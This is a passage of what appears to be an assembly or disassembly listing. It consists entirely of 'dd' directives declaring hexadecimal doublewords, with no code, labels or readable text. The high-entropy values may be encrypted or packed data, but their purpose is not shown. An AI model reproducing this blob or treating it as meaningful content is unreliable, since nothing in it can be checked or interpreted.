		dd 0D7B434E7h, 0D584FC9Eh, 0A8D72BEDh, 0EDA56D61h, 94068211h
		dd 66ADD1C5h, 0C57D6DD7h, 0C7EDF7DAh, 0F5847D6Dh, 0A4E7C7EDh
		dd 0B3907365h, 0C4F6406Ah, 7EDBDDEh, 0C67D25C7h, 0C7E7EDE1h
		dd 0B1A25DE7h, 384C7BF4h, 34FB05F4h, 0E438C7EBh, 0EA34FBC4h
		dd 0C4F438C7h, 0D7F734FBh, 0F7075D25h, 0ED909873h, 0F4CDC649h
		dd 75607170h, 7E70C504h, 4641A6E7h, 0B2116DD8h,	0D7F1B42h
		dd 0E4448EDh, 2DCCC4B4h, 9FC9D78Dh, 6EDC504h, 85752D70h
		dd 0C747EDDCh, 0C70555E5h, 0E0069EDh, 2DCCC4A4h, 14F8D707h
		dd 26EDC105h, 8441ADE7h, 0E7EAFCC2h, 0B43E4DE1h, 605C9AADh
		dd 6D863E4Dh, 4D207C98h, 986DBA3Eh, 3E4D676Ch, 7C986DBEh
		dd 0B23E4D67h, 625C986Dh, 6DB63E4Dh, 4D227C98h,	986DAA3Eh
		dd 594D265Ch, 605BED1Fh, 0DF45178Ah, 8AF73B33h,	33DF058Bh
		dd 9F8AF738h, 3933DF04h, 45A38AF7h, 0F7FB33DFh,	0DF458B8Ah
		dd 8AF78633h, 0DACF4593h, 0A44AC7AAh, 6C03D044h, 87A04AC7h
		dd 0C77203D0h, 0D084A44Ah, 4AC7FA03h, 3D087B4h,	59A2F72Eh
		dd 716DEF44h, 0C765E5F7h, 22BB2DDFh, 0F5058F97h, 0A7E7B82Dh
		dd 0ADDB0549h, 792942F2h, 0C5BBB241h, 0C56126E7h, 405BEDEFh
		dd 80417928h, 0E24EF373h, 2DCC464Dh, 58B7D709h,	0ADED8FBBh
		dd 92692341h, 0F7397A89h, 0F3B7164h, 0A5D7B8EDh, 0ADD9C765h
		dd 59E5F7A5h, 0A0ADD145h, 46B9D9C7h, 50602DE2h,	8C4145E5h
		dd 0F8D7CE2Dh, 0ADFBC520h
		dd 716BF7EDh, 0AC03D887h, 0C6904AC7h, 2051C4EDh, 0EDC671ADh
		dd 35F7EAC4h, 3D045D4h,	0D035F76Ah, 0EFCE5C4h, 6B847F70h
		dd 7E082DAFh, 9FFF5DA2h, 2660418Bh, 73EFC551h, 5565C7EAh
		dd 0A7ED993Fh, 5ECC7F7h, 0F71AFCEDh, 0E2468044h, 7793E7ADh
		dd 0EDE4C4ECh, 416C816Eh, 0A6CCD7C6h, 0C16566B1h, 0F7EA739Bh
		dd 0EDC5596Bh, 0A1606AFCh, 0ADEF0475h, 0A3094454h, 59B42E21h
		dd 5E7787E7h, 0E7E66DAFh, 0DCC76565h, 35F7322Dh, 7CEB46E0h
		dd 65278183h, 0E9B4B42Ch, 449C8FF7h, 52E3ADEDh,	8F7E0C7Fh
		dd 0D04E4FBCh, 0ED912077h, 41A6F7F8h, 0CCEDD921h, 0BF516591h
		dd 0F7EBAD4Bh, 0EB47756Bh, 0A0AF2F7Ch, 6D204065h, 0EF3DC741h
		dd 88ADAF23h, 4649A6AFh, 0A1F8ADDDh, 0F6047566h, 37857B74h
		dd 94C545C8h, 6123F7B8h, 88ED8003h, 464966AFh, 0A1F8ADF6h
		dd 0B7CD65E1h, 0E7C79B64h, 2A8D84Dh, 7120E79Bh,	0F5ADE304h
		dd 0BD45E1C7h, 2142B34Fh, 0D105D4B2h, 72F728ADh, 0ADB0C3E1h
		dd 41E75B66h, 63725D01h, 2145A221h, 0E7D17497h,	9C5F7C75h
		dd 4B12B70h, 0EDEDC49Ch, 5DA3A137h, 799332E0h, 36125D7h
		dd 83E76D88h, 0DCC730E5h, 0E6AF76EDh, 0EDDDBC79h, 8006A3E7h
		dd 0DA6DD346h, 44CC9BD7h, 0C71FEDECh, 0EF444D24h, 64C71FEDh
		dd 0EDE2444Dh, 4DA4C71Fh, 6170C044h, 0C54963C7h, 0C7662DCEh
		dd 0CEC55563h, 63C7672Dh, 2DCEC571h, 7D63C764h,	7F70C3C5h
		dd 8061A5E7h, 0F7E7B489h, 0D7C57D6Bh, 9B91C052h, 0ED9871B4h
		dd 0CC715111h, 0E37CEB47h, 0C665ED13h, 0D79FEDE7h, 0EFE35DEFh
		dd 8BD7F66Dh, 0ED8EA3C0h, 5127F71Fh, 0AEFEE02Eh, 85596BD7h
		dd 33A427D8h, 0C5047526h, 0A78183ADh, 6DDB4649h, 5495759Ah
		dd 0B6ADD104h, 4648D7C7h, 83256DCEh, 0EC4648CAh, 6B5990ADh
		dd 4CF4C461h, 4D69E725h, 2F2E1C7h, 4712620h, 0E786EDD3h
		dd 0DEC561E0h, 58D770EDh, 6DE545A0h, 51E5C7BBh,	1836F405h
		dd 0C5696520h, 0D7D581EEh, 0F04649E5h, 901536EDh, 2DCE05DFh
		dd 0DECAC790h, 1F37B643h, 9B59E0C7h, 0D7762D8Ch, 0A78E449Bh
		dd 0ED11B602h, 0EDED447Dh, 0D433ADF1h, 1FB3E685h, 141E6D7h
		dd 8DC17B74h, 0FA85C43Fh, 42B18146h, 0F1EA44DCh, 0CCC75222h
		dd 1FEDEA44h, 6A5DE4E7h, 6247EDB5h, 0DFC4E042h,	0E5D71FBFh
		dd 0EDF4444Dh, 4920F7F3h, 0ACB3E384h, 0C769EAE0h, 0E7ECADDBh
		dd 0DD0471E5h, 672D8AB3h, 748B9549h, 756BD7EEh,	0D976C0C5h
		dd 5656B21h, 61892DDEh,	0C045F413h, 0AA90E9C0h,	0ADED0580h
		dd 7DA2E7ECh, 78F1F345h, 0C749E440h, 0D7EDADF5h, 0FDC74DE0h
		dd 5BD7E1ADh, 6DED05E4h, 5DE6C7E2h, 0E670FE84h,	84A42FC7h
		dd 0F787EDCDh, 8975A4E7h, 0FFE0A8EDh, 0C9F64534h, 75A2E7F7h
		dd 0F3B3C0C5h, 0B57DE9D7h, 6261B493h, 0A0D455E1h, 25F0F734h
		dd 345AF449h, 4925C0F7h, 27F741F4h, 0C6F81FD7h,	0E7E2ADE5h
		dd 0EEC564F5h, 0E1E707B1h, 2DD20555h, 6564D7D3h, 0DD6DE6C6h
		dd 0C669E5D7h, 0E7BB6DE6h, 0AE2A6125h, 0E1F707EDh, 0EDB4A369h
		dd 0A0CDA16Ah, 7EDF5C4h, 0C749E5F7h, 0D7EDADF4h, 0E9C461A9h
		dd 5EEC66EDh, 74F585E4h, 6167D7A5h, 47B6CBC4h, 4445E9D0h
		dd 0D7252DE1h, 0F3C565E1h, 62E7DFADh, 0CCD70779h, 75E58168h
		dd 0D0AD8DB4h, 44332FD7h, 0F72461D0h, 0C4468061h, 63A3E72Dh
		dd 49CAC655h, 0A5AEF7B6h, 9FEDA6B6h, 0B67169F7h, 0E7E72D45h
		dd 0D005B3EEh, 0A5E0D161h, 6DD44641h, 6D28EC90h, 88ED7816h
		dd 0C5B0E8E4h, 0F7832DCCh, 0D78687A8h, 0AEF7A409h, 0EDA3B6A5h
		dd 71EDF79Fh, 0E46D75B6h, 4693EEE7h, 0D4976DD3h, 0CC46C04Eh
		dd 66EC90ADh, 41D5C565h, 0A5F1E790h, 0E437BFB6h, 4745632Ch
		dd 0E78AC8DFh, 0ACB6A5F1h, 4CF79FEDh, 997F6E7h,	0A5F1E78Ch
		dd 9FEDAFB6h, 0B671E7F7h, 0FE592D75h, 0F5F0652Dh, 6BF72731h
		dd 1F0C541h, 3376C7C3h,	0D1A0E504h, 464125E0h, 0A3462DD4h
		dd 7857987Ch, 0E8A4F5ADh, 2DCCC590h, 0A7B9F793h, 0B4C8DF47h
		dd 0B6A5F1E7h, 0F79FEDABh, 51F271E9h, 27FE0E6Dh, 31F5F065h
		dd 416BF726h, 0D600E047h, 8533EAC7h, 0E0D1A0E5h, 0F44641E4h
		dd 69AC946Dh, 2D58166Dh, 6AEC788h, 1FEDB4F4h, 444522E7h
		dd 0EE0EADC9h, 0ED3D656Bh, 6BD761B1h, 2DA16479h, 65E8DE59h
		dd 21B1ED3Dh, 44C4DCC7h, 0CE0E6DD9h, 0ED3D652Eh, 6BD7E0B1h
		dd 0F3CD0551h, 656FBE6Bh, 0A0B1ED3Dh, 45456BD7h, 0C7D5ADCDh
		dd 0D58737EAh, 0A4C0F7E3h, 0EDF64649h, 1BEA403Ch, 0F7E3D504h
		dd 0F449A4D0h, 0C7CBAD8Dh, 0D5440FEAh, 60FC3BFBh, 2D8D3459h
		dd 45E96057h, 0DB71E785h, 475E5F7h, 2150EDE8h, 0B3E079A5h
		dd 0A2E7A436h, 0B1F7C569h, 3CE0D021h, 62EDA6AAh, 0E0EC98C0h
		dd 0D7663BB2h, 0C5C59B48h, 0EA335F23h, 2DF84645h, 0D4B62383h
		dd 0C32D8DA8h, 2F612AF7h, 0E76136B3h, 0CD4555A2h, 0D4C7462Dh
		dd 0ED873E0Fh, 6DADE7DFh, 0BFED6399h, 44D6B61h,	4053CAF7h
		dd 0D5464525h, 81E61ADh, 0F9B794A0h, 0A8E4C031h, 0ECADD9C7h
		dd 0C575A5E7h, 0E7B83ECEh, 0F64645E1h, 0B62261ADh, 3496ECCCh
		dd 45273A61h, 0E2ADE546h, 4645E71Ah, 3A6CEDD3h,	0C9464564h
		dd 251AE9EDh, 0EDC74645h, 7DA53A6Bh, 0CB8267D8h, 45D2EC7h
		dd 0F0A4ADE7h, 0E4866D2Fh, 0A2311FF4h, 0AD832E75h, 0DCD2C7E4h
		dd 0E0EDE9C4h, 655A330h, 0E7B8B4F5h, 0E3C67925h, 0A5D7D9EDh
		dd 2D8D3765h, 65EEE706h, 6EADA5DAh, 47792BA1h, 0C8BCEAh
		dd 0CB85F43Fh, 0F1E733F4h, 6DC14404h, 7D2AD20Eh, 0DFEDF104h
		dd 0BA6D20C7h, 83E52D79h, 0A6DABCBDh, 24E7D46Dh, 0ADE0C741h
		dd 0FCB6E7E6h, 0DAADE0C6h, 0C59488F7h, 253ADF3h, 0EB04E837h
		dd 0E041917Ch, 0ADE8C788h, 0E83FC7D8h, 722DA3B7h, 0C741A3E7h
		dd 0A3A5EDE8h, 0E7C641E5h, 95210C2Dh, 0FCE485B7h, 75A1E758h
		dd 0F837C245h, 376DA5D7h, 0F7C86DA2h, 0EB84C0F5h, 5FF755FCh
		dd 3AFF84A8h, 65EB3A48h, 726DAED0h, 0C771E4E7h,	0F7B32DFEh
		dd 0FA46C458h, 0F5F7666Dh, 32F884E8h, 49298F6Eh, 352DCC84h
		dd 0C071A0D7h, 0E79F71B7h, 0B48061E8h, 6EE7CBADh, 0BCE5C761h
		dd 61A7F784h, 4D72BDE1h, 0C69B5CD7h, 23B92DF4h,	0F605452Bh
		dd 20F707ADh, 0B5F3C545h, 692D3209h, 0A8EDE107h, 6BC9073h
		dd 22C9FAF6h, 0DB057D63h, 2DB17B2Dh, 0ADF9C769h, 49E0A3C1h
		dd 0DF2DEEC7h, 2A6569F7h, 0F7C77C85h, 0D18464BEh, 0A5E7DF02h
		dd 74848061h, 6EFEC7CFh, 0D82DCDC5h, 0C750F4D7h, 0C7D76DDEh
		dd 0ACE17CFEh, 0A5E7346Dh, 36ABA279h, 7D25E734h, 0E7EDA103h
		dd 75A45991h, 0E7B607B8h, 0C9075DE4h, 0A083C1EDh, 2DBD6279h
		dd 65ED5D63h, 0F0049FE5h, 84473AD7h, 0D7C77CF5h, 0D94645E5h
		dd 37D74CADh, 33FA7A58h, 0AC7AE761h, 77448216h,	0AD7C3FE7h
		dd 0F0A57695h, 0AF776DA3h, 0A991A674h, 2D4D6265h, 79E7D76Bh
		dd 8DED75FAh, 2241A2A1h, 0E7DFF772h, 0D6454568h, 0C4C0583Ch
		dd 0CFFC07D6h, 0D4C7202Fh, 25DFC647h, 465747D7h, 0C7DEC7D4h
		dd 0DF465486h, 0E7C719DFh, 0F78AC071h, 45A5737Ah, 4144F585h
		dd 465BC0D7h, 45736DC0h, 0FAC578BEh, 0C7D7CCFFh, 0BFE70752h
		dd 616B6160h, 682D4D2Dh, 0D4D6B63h, 63876D08h, 0B4CCDB89h
		dd 2F4F31ADh, 0C7FFAF59h, 5404D7E7h, 0FADFC687h, 46774EE7h
		dd 0C7DCC7D4h, 0DF467486h, 9D7FEDFh, 0BFAAE97Bh, 53C0D7E1h
		dd 6367FA44h, 8D59657Dh, 5B2D6DBDh, 450F4566h, 0EB6DA92Dh
		dd 2D850D7Dh, 59675B6Bh
		dd 36B66DCEh, 45792953h, 0D7EE87F1h, 6FADCD0Ch,	0AC6322EDh
		dd 2D1F4D69h, 0D4844387h, 0D2C7D486h, 865486C7h, 0F75FDFDFh
		dd 6CEC69E7h, 2D433676h, 2D4E8855h, 0FD40C7CCh,	22EDAE03h
		dd 4D69EC63h, 2F3B6D1Ch, 7D2D6168h, 6863682Dh, 6D0C0D4Dh
		dd 0D8590F41h, 0F2ADA8CCh, 6B696F0Fh, 0E2A2C7FFh, 0C6C74563h
		dd 52D7FBDFh, 0C7D40757h, 0A02CD7CAh, 0CA74AF42h, 46C446C7h
		dd 1F41ADCDh, 0A9CC9825h, 633FF2EDh, 0C7FF6B69h, 0F4C760D9h
		dd 28DFC6C7h, 0F5F11AF7h, 0E72CD1E8h, 0AEE09DA4h, 80E76C2Dh
		dd 66C645C7h, 0A48A7D63h, 2DAD996Dh, 8B6DAA4Bh,	0F7D0F7B3h
		dd 0D386F7C6h, 46C7D0FFh, 0EDC5467Eh, 982D7D35h, 0FD6DAFCCh
		dd 4769ABDEh, 8348A7FFh, 956DA44Ah, 0AE7B2DADh,	2D751459h
		dd 7DE86DA9h, 6B2DB50Dh, 977DAF7Bh, 7336316Bh, 43546561h
		dd 44C40C6Dh, 0FFFA85E7h, 76C7D7FFh, 0D989DA04h, 6E7C6F7h
		dd 0C7D9FFD3h, 0F3447646h, 1902649h, 89C5C544h,	8DAFD7BCh
		dd 22ED74ADh, 4D69E363h, 0EE3AED16h, 692D6129h,	2963682Dh
		dd 0ED060D4Dh, 0E40DE240h, 41B8EB06h, 69E949h, 0D722F48Eh
		dd 72AD8DAFh, 6061EDF2h, 2D084D69h, 0C484C240h,	0D7C7D4C6h
		dd 0C64486C7h, 0D792DFDFh, 73EC6924h, 0ED733670h, 2D7B5041h
		dd 0FD40C74Dh, 22EDB603h, 4D69A063h, 0AEC76D09h, 612D61A9h
		dd 0A963682Dh, 6D390D4Dh, 98B89E02h, 0BFADA5CCh, 33652CBEh
		dd 0D7E0C7FFh, 0C6846404h, 7DE73FDFh, 0C7D4C627h, 7886C7D5h
		dd 33D79EE1h, 0E13B3CD7h, 0E71ABFAAh, 0B961483Fh, 4484C9ADh
		dd 0FFFA85F3h, 4EC7D7F7h, 6548ED45h, 468565C4h,	0BE02EDFFh
		dd 0C9071F64h, 0A4E74A7Ch, 2D4D226Dh, 38FEE760h, 67AD91DFh
		dd 86A8D4E7h, 736074F3h, 0D7C5D7C6h, 0ABD2E142h, 0BCE0855Dh
		dd 607D8144h, 0FD2DE6C7h, 0C748FEC7h, 0D7DF2DE6h, 455D55E4h
		dd 42F78D2Dh, 63E74689h, 0A0E47447h, 467BF007h,	46BC8F7Ch
		dd 912FBFE7h, 0CD7F5DEEh, 0CDC7C72Dh, 0F1F4FF8Dh, 8D49D7C4h
		dd 440BB02Bh, 0FAB50FC7h, 744763A7h, 0EE84B8E4h, 2DE7DF23h
		dd 0AD7C9E71h, 5D6B644Eh, 52DF145h, 0FC814D54h,	0D7DF23AEh
		dd 499E7120h, 6B644EEDh, 0E2DA0559h, 90E47447h,	0D6EDF806h
		dd 9E71E644h, 0F7CD2D5Ah, 0DA848142h, 0E47447E2h, 0A2DA86A4h
		dd 71A5F7DFh, 62D779Eh,	84516B24h, 7447E2DAh, 0DA47A8E4h
		dd 4D71B1A2h, 6D806148h, 98E71406h, 0A163EF39h,	3859A2C0h
		dd 0D70F2DCDh, 0EA0407DBh, 2DE7DF62h, 63EEFFA8h, 0C5B5C0DDh
		dd 0E1ADDB46h, 0A17D619Fh, 0A5ED70CDh, 0B9E1E977h, 0E0B524F5h
		dd 0ED7B8165h, 696BA560h, 0EFE4C587h, 46D8F595h, 4C40EDF9h
		dd 0A19F500Dh, 35BD5FEDh, 0CCF585C8h, 792CD7DFh, 0ED6DFCA1h
		dd 0E1E977A5h, 0B3866D9Ch, 0F746DE75h, 6E91217Eh, 2DCD637Dh
		dd 0C5F7E78Dh, 0C6F4E661h, 46C5F9D7h, 8F962DE4h, 0E8637D2Dh
		dd 77A5ED37h, 0ADBAE1E9h, 692BAF86h, 744FEA3h, 844739F7h
		dd 0A01464C3h, 0E661C5F7h, 0F9D7AFF4h, 0ADFB46C5h, 7D679F96h
		dd 0C82DCD63h, 61C5F7E7h, 0D7DAF4E6h, 0D4E17964h, 2A8F96EDh
		dd 0E4F2875Dh, 61A8C7E5h, 73E4CC61h, 0A364CD21h, 0A5C0F38Fh
		dd 0F3064835h, 69A12179h, 0F6FCAF65h, 0E9776543h, 0C56DBCE1h
		dd 0C65D6B65h, 0E7030FE5h, 0C746C5CCh, 776543EDh, 0AD89E1E9h
		dd 0E47855C5h, 0C1AD4BCEh, 5756B65h, 95EF67FFh,	0E505D8F5h
		dd 0C9E01A67h, 67F5C463h, 0C54C809Fh, 61F4E661h, 46C5CDE7h
		dd 6FD5ADE2h, 0CDAF65A4h, 4CC7702Dh, 0F4E661C5h, 7964C79Ch
		dd 0D5EDFFE1h, 8751AB5Fh, 0C739E4F2h, 0E661C54Ch, 9CD7CBF4h
		dd 78BAF3FDh, 796E8121h, 45F4F16Bh, 0E1E97764h,	23006DAEh
		dd 0F646F4FCh, 0AE9D0364h, 6D61CA5Dh, 0DCF9350Ch, 25E4CDAAh
		dd 0AB79A0B1h, 1F5671FAh, 0CD6B79A0h, 4CC7772Dh, 0F4E661C5h
		dd 67DAF7EFh, 364F646h,	0CA5DA0ADh, 350CED44h, 0CDAF8CA3h
		dd 0EA8125E4h, 0E4E28541h, 7719C72Ch, 206DF906h, 0AF4DE395h
		dd 0B125E4CDh, 0CDF74DA9h, 8CF75B2Dh, 2DA2A128h, 596BE443h
		dd 0AD2DF2C5h, 0FFE577B5h, 0A1C179AFh, 0FEA36928h, 0E9F7D444h
		dd 61FF8723h, 85E8F0ACh, 7DF4E661h, 46856DC7h, 0EE956DF2h
		dd 0CDB74DA3h, 0E8F73B2Dh, 0F4E66185h, 856DC7A8h, 95ADCF46h
		dd 0B74DA6DEh, 0E49131DEh, 0ADE1E977h, 68EEDCEDh, 44FEA369h
		dd 23E9F7E8h, 0DF61FFC5h, 0B6612FC7h, 8125E4CDh, 0E28545E8h
		dd 0E9F724E4h, 6DFE8637h, 7165B920h, 739B436h, 464968E7h
		dd 0D729EDE7h, 0E7846968h, 7FC74FFCh, 2DB1723Ch, 45A5F731h
		dd 132D4DA3h, 0A168B5C7h, 944B6D8Dh, 0A330C078h, 22836520h
		dd 2D75926Dh, 652F9AD3h, 4BAD5952h, 0C6C434BAh,	0B5AD2DFFh
		dd 0E846C577h, 20BC51ADh, 64F6C655h, 6562BD03h,	61AD6352h
		dd 0F2496B64h, 0A5AFE484h, 0A2A5796Bh, 0FBE7F6E4h, 0E3F78503h
		dd 0E1B744F1h, 202D4FE1h, 85D9B5D7h, 0C7DE08C5h, 0D4A1796Ch
		dd 0F792D9ADh, 6D1841C9h, 0E4FC6241h, 364F606h,	0C3516BBDh
		dd 0C748F4B6h, 0E94685CFh, 7764CE2Dh, 6DA2E1E9h, 556B6441h
		dd 870BF707h, 4685CFC7h, 64CE2DE8h, 0BFE1E977h,	6B6441ADh
		dd 0BF7C759h, 85CFC7F2h, 0AD2DBC60h, 46C577B5h,	6441EDC8h
		dd 4A9EAC74h, 0F97A4DEDh, 0FBF94780h, 0F0F59414h, 0B443DAC5h
		dd 924569E7h, 5E51ED13h, 0C2B859E5h, 68BA57A2h,	0F6857Dh
		dd 0E78E7D4h, 100BF7C5h, 33496CF7h, 5271ADCDh, 88E1A9B9h
		dd 0E92E0D6Dh, 2D3B9245h, 0C8F453C5h, 0A25AD247h, 0BC6D6E91h
		dd 0A125E4CDh, 787B6922h, 0FCD7CAADh, 6D4DA3C9h, 69A23E92h
		dd 992DCD7Ah, 0A0B1C0C7h, 0E774B4F8h, 1E6068F5h, 61AF21ADh
		dd 2DCDA141h, 0B06BF7F4h, 0A3E4C861h, 46C5B6C7h, 9F21ADEBh
		dd 0CD3B7964h, 0F0E7422Dh, 2DD5C748h, 7DAA8297h, 99FCD784h
		dd 8175A4F7h, 0F7EFFCAAh, 0D1C4D30Fh, 65A0902Dh, 0ADFB8459h
		dd 41A3E733h, 0A5EDE8C7h, 0C6C0F5B1h, 81AE2DE7h, 0D2C751A0h
		dd 78D7E36Dh, 78CF44BFh, 0B78810Fh, 727CD684h, 745E9D7h
		dd 0C7BA6DCCh, 0A62365E1h, 0F5F7156Dh, 0EDC1C474h, 41E6D7E0h
		dd 0F76DECC6h, 0A269A5E7h, 0A111EDADh, 0B1A26925h, 64A111EDh
		dd 0EDB9A269h, 7525E707h, 5564FA45h, 0A171A5E7h, 0F77FADB2h
		dd 0D6C751E5h, 0E5C7D76Dh, 0AD8FE161h, 45A98165h, 76DC746h
		dd 85616BA3h, 0E70B44D6h, 8D024D6Fh, 4F7C22Dh, 6DADED48h
		dd 69EC7D66h, 4EAD798Dh, 6175228Dh, 0E709F481h,	0C206637Eh
		dd 60B1A56Dh, 2DA6A355h, 6968A096h, 0F06DDEC7h,	856035E7h
		dd 0C7ADADD1h, 0E0C6E8B4h, 0A2AD63EDh, 34D2857Dh, 79289FCBh
		dd 5F4C146h, 85616AE7h,	0E7056DECh, 0C404F3C1h,	0F981822Dh
		dd 0ADD906D0h, 6D28A354h, 85F4E4C6h, 44752BE7h,	91A5EDE6h
		dd 0E546D477h, 0A0C731EDh, 2DFCC7C8h, 712DF731h, 5A6DFDC7h
		dd 84652AD1h, 0E0F36DECh, 0ED87656Bh, 2A6DFBEDh, 6D962371h
		dd 5D6D5D2Dh, 0B86DEC06h, 0C74128E7h, 0C7DCADD8h, 87E5E406h
		dd 0ADF7267Ch, 0BFEF4569h, 57C3E707h, 0C4EDAA8Ch, 0CC4DA4E7h
		dd 0D7E1B7B9h, 0DBC5C84Eh, 0FE7A54Fh, 7CC747C4h, 496DD786h
		dd 0B66D6CE1h, 0ED61EAE7h, 73C72D89h, 0DDC679EDh, 0ABE7584Ch
		dd 0AD8DAE8Fh, 6965E7F5h, 0DBF4E7C4h, 0AE9CCAD7h, 0E76E2D4Dh
		dd 7C814DAFh, 0A99124ADh, 2DC9C471h, 716B7DCFh,	0DE34D484h
		dd 0E6D266Fh, 7F9BF0BDh, 1E0E5965h, 0D4F7B177h,	0C6FC0576h
		dd 0D74A01A7h, 0AC6DC646h
		dd 89616015h, 0D71A6DA0h, 0F405F84Eh, 6951C5FEh, 2DFF4645h
		dd 0CB74C764h, 0A1ED822Fh, 46F40C13h, 0E7D76DEEh, 0B6F0F28Dh
		dd 2B03A6EDh, 2D5D2C79h, 51A2F765h, 0FF17F684h,	0AEC38FD7h
		dd 63C77464h, 0DF06508Dh, 0EFC7E507h, 4EB00375h, 55A9E705h
		dd 8D37D9C5h, 0D712CD7h, 0C7866DA8h, 0E3C4C39Ch, 0CCE7E42Dh
		dd 37078BF4h, 4DAD8F8Eh, 0CB86BB4Eh, 617C82D7h,	0E79F2D81h
		dd 6608452Dh, 6571CEEDh, 74A10C79h, 51EDD774h, 2B7D904h
		dd 20416B61h, 0E7096DAEh, 4BAE7D60h, 48551136h,	7EF504CCh
		dd 7566E7C5h, 0AD77C945h, 6D5435E7h, 6B270691h,	4DAB65E3h
		dd 0A7D7AA2Dh, 0AD90A114h, 4563C7A2h, 0B22DCD85h, 0A14DACC7h
		dd 0AD91ED38h, 70827DE4h, 8AF7E734h, 0EDEB46C8h, 75E6E7ABh
		dd 9FEDC804h, 4579A22Dh, 0D7102DCEh, 0E80659E6h, 7AF7056Dh
		dd 6DEC84FBh, 0E8F3F728h, 303F8808h, 85756BE7h,	71117EF5h
		dd 862ED705h, 0A17D5FEDh, 0AD8DAE49h, 0F740C75Fh, 0F7ADD0C5h
		dd 46440BF7h, 0E2C52DD6h, 0F346C4FDh, 0B033C1EDh, 0F4C14690h
		dd 49E663B6h, 0C5AD4934h, 46C4B5C2h, 0F7DFB6CCh, 0B6D765E8h
		dd 6F69E676h, 0A64F6E4Dh, 51E4F7DDh, 5BEDBCC9h,	5976293h
		dd 1F1941C0h, 0CA871C6Fh, 0A2B30E61h, 2D5D6E4Dh, 7966B1C4h
		dd 0BEDED04h, 224D2D51h, 0F7C6F14Bh, 9EE161ACh,	34C754EDh
		dd 6DEE85E4h, 0E478E736h, 0F9F1D804h, 5E4B8F7h,	81C53CF3h
		dd 0EBC7C8F6h, 0F790792Dh, 89BC634Ch, 6DE0E7DFh, 56FCE485h
		dd 0C7516BD7h, 0E7372DCDh, 0A5F500EDh, 255396ADh, 0DF736E95h
		dd 872FD76Eh, 5FEDEE46h, 0F1F0BD63h, 0F7ACAD90h, 0E7450027h
		dd 0B5F7B3F8h, 0EDEB04B4h, 835A0A6h, 0F3F8ABA2h, 9145A4E7h
		dd 0C7DFADA0h, 0F0C471A9h, 0A5C78777h, 0EDC94649h, 4522F707h
		dd 0EBEDDC46h, 0C47DA2E7h, 0E7B8EDDCh, 0E404752Bh, 6AE2AEADh
		dd 0A0C38775h, 1FB2847Eh, 0F3ED5B10h, 0C6E0B4C8h, 439E39EDh
		dd 0CC07D4B4h, 44ECBE2Dh, 2DAE2ED7h, 59A27C0Ah,	0E247826Eh
		dd 0D275EFB2h, 0C7DA46B6h, 0C907E34Ah, 31034C7Eh, 87FF46F4h
		dd 0C00FE7A7h, 7F7CC746h, 887965C7h, 825CAD84h,	0E904D710h
		dd 21B391FCh, 0F6ED8665h, 0C34FE7D7h, 932DA1AEh, 0C751E961h
		dd 927AF3C4h, 0D94645E5h, 0E402EA2Dh, 0DF337236h, 7CFED722h
		dd 0C12DB5F3h, 466967D2h, 0C7DBBCDBh, 0E984FB11h, 6DE2FAC4h
		dd 51E44645h, 0AB6DE7ECh, 0C138E185h, 0D275A6C2h, 0E7302D8Dh
		dd 94CC50DCh, 2DE2FAF4h, 6DAE5C65h, 7D6BD716h, 0C581DEC4h
		dd 1628C3E7h, 0B3E6ED36h, 0F6460827h, 7594256Dh, 0C0FEB1A9h
		dd 2807E73Ch, 0E16DCA71h, 488B37F7h, 0E7262D2Bh, 0C00470BEh
		dd 0ACA1C9C3h, 0BFFF8679h, 4D6B533Bh, 24B7F904h, 457DA2F7h
		dd 510297F4h, 0EB05C048h, 0A1F77FBBh, 97FAC688h, 4960F7DFh
		dd 0FB49FF06h, 0C4596BF7h, 0C72B38C3h, 852FC87Ch, 0A34D6Dh
		dd 77DEC5C8h, 17D7E7C1h, 0F2ADD1C5h, 0C5FC00E7h, 0E730ADD1h
		dd 0D1C5C400h, 0E771ADh, 77DEC5F0h, 0D5C8E781h,	93EDA422h
		dd 5C65275Dh, 61EEADB5h, 0F8C7D3C1h, 291FBE6Dh,	0F4A64361h
		dd 4F8D7DDh, 5D2DEF46h,	6F6432C7h, 0D7DC70A3h, 0C646C200h
		dd 351266EDh, 0F94CE148h, 30A0C768h, 7E6DCD07h,	5155ED0Dh
		dd 1FBE72AAh, 627155A2h, 0A1E71F2Dh, 6D96C159h,	90A0A3E6h
		dd 50B7AD9Eh, 46C8B7E7h, 0D7DF2DF4h, 8E436D21h,	3AF7542Dh
		dd 361FCFF4h, 0CA14338h, 0EA5AEA07h, 28A59CD7h,	92EEED94h
		dd 0F3C665E6h, 3C91C27Ch, 0CCA844Ah, 65A2D786h,	0A02DCD85h
		dd 6BB37E7h, 0E7662DCDh, 0BEE260B5h, 7F0DD8B7h,	0ED3C6DD0h
		dd 1817227Eh, 7FF112ACh, 8879A5C7h, 0C75BED91h,	0CFC41B6Ch
		dd 0F7E79DF3h, 2D466CEDh, 91E4C730h, 3D6D4FCDh,	8D4631ADh
		dd 0B3B36D7Ch, 0C0C83Ah, 48C7EFD0h, 0C4B7F718h,	9C5B53EBh
		dd 98BDB0E1h, 5EABE41h,	61A12DC8h, 8AA26036h, 0ACF7263Bh
		dd 6DEEC661h, 0C0B6C795h, 2C6DE2C7h, 0E341A59Fh, 0D78C2D8Ch
		dd 0CD84687Bh, 36E73B2Dh, 2DAAD96Ch, 496BA90Fh,	462DDC87h
		dd 0C77168E2h, 0C7B82DFEh, 0D2C7EFFEh, 60C7DF7Ch, 548E0155h
		dd 65E1D707h, 35EDEE85h, 475A4E7h, 0B1C3EDF7h, 0D9C65837h
		dd 39E73EB0h, 0EDA25540h, 79A8E71Fh, 77C92ACh, 4645A9C7h
		dd 0E79C2DFBh, 0C944C4F7h, 347D59EDh, 2DC3448Ch, 5DE47D5Bh
		dd 2EDEE587h, 464485C7h, 0C7DFFFEFh, 8D015565h,	36E7A42Dh
		dd 2DC8C770h, 59A2B90Fh, 0DF04D4C5h, 2245E7F7h,	0E7DF6DE3h
		dd 9CCDBFD1h, 7D73676Dh, 0ADFEC4E4h, 6920B144h,	2364EBC6h
		dd 466569B3h, 958C64F8h, 0ECC577B7h, 60E71F74h,	0ADF08469h
		dd 752FD707h, 0CCC4FF45h, 0E26C03D7h, 0ABD434A5h, 0E80645A9h
		dd 8DC7A31Ch, 8FE50564h, 7CCFD789h, 872D8A01h, 464B0DF7h
		dd 0F7DF2DE8h, 844C59E2h, 0A2BD9F24h, 0F0FB8645h, 50409308h
		dd 15BFFB84h, 43556DD7h, 0F770FA46h, 0F6454DA2h, 68D729ADh
		dd 9FC2C469h, 4803D72Bh, 25DF9D4Eh, 4649E1D7h, 0B36DEDE3h
